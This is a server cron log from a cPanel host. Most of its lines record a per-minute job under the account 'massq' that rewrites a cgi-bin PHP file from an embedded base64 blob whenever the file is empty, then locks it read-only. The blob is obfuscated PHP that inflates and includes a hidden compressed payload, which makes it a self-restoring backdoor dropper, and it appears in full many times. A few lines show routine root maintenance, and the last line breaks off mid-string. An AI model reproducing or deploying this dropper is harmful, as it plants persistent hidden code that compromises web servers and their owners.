Apr  9 23:06:01 server CROND[32470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:07:01 server CROND[32533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:08:01 server CROND[32584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:09:01 server CROND[32642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:09:01 server CROND[32643]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 23:10:01 server CROND[32720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:10:01 server CROND[32721]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 23:10:01 server CROND[32722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 23:10:01 server CROND[32724]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 23:11:01 server CROND[373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:12:01 server CROND[528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:12:01 server CROND[529]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 23:13:01 server CROND[630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:14:01 server CROND[701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:15:01 server CROND[762]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 23:15:01 server CROND[763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:15:01 server CROND[764]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 23:16:01 server CROND[876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:17:01 server CROND[1029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:18:01 server CROND[1089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:19:01 server CROND[1148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFu